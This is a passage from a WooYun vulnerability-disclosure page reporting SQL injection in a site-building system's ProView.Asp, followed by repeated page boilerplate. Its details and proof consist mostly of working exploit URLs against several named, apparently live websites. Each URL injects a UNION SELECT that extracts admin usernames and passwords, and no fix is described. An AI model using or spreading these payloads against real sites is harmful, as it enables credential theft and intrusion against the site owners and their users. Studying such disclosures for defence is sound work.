某建站系统过滤不严导致SQL注入 | wooyun-2014-087055

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-087055

漏洞标题：

某建站系统过滤不严导致SQL注入

漏洞详情

披露状态：

2014-12-16：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-03-16：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

某建站系统过滤不严导致SQL注入

详细说明：

http://www.qfdns.net/ 官网
ProView.Asp存在漏洞
放上几个案例先
http://www.nxjxtfkt.com/ProView.Asp?ID=202%20union%20select%201,2,3,username,5,6,7,8,9,10,11,12,13,password,15%20from%20admin

http://www.nxzxzs.com/ProView.Asp?ID=202%20union%20select%201,2,3,username,5,6,7,8,9,10,11,12,13,password,15%20from%20admin

http://www.nxjxbz.com/ProView.Asp?ID=202%20union%20select%201,2,3,username,5,6,7,8,9,10,11,12,13,password,15%20from%20admin

$A5_2ZIWA5}8E7GV[2J){OYV.jpg$

http://www.ystnz88.com/ProView.Asp?ID=202%20union%20select%201,2,3,username,5,6,7,8,9,10,11,12,13,password,15%20from%20admin

漏洞证明：

http://www.nxzxzs.com/ProView.Asp?ID=202%20union%20select%201,2,3,username,5,6,7,8,9,10,11,12,13,password,15%20from%20admin

http://www.nxjxbz.com/ProView.Asp?ID=202%20union%20select%201,2,3,username,5,6,7,8,9,10,11,12,13,password,15%20from%20admin

$A5_2ZIWA5}8E7GV[2J){OYV.jpg$

http://www.ystnz88.com/ProView.Asp?ID=202%20union%20select%201,2,3,username,5,6,7,8,9,10,11,12,13,password,15%20from%20admin

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源浅蓝@乌云

漏洞回应

厂商回应：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 浅蓝@乌云

漏洞回应

厂商回应：

漏洞概要关注数(24) 关注此漏洞

版权声明：转载请注明来源浅蓝@乌云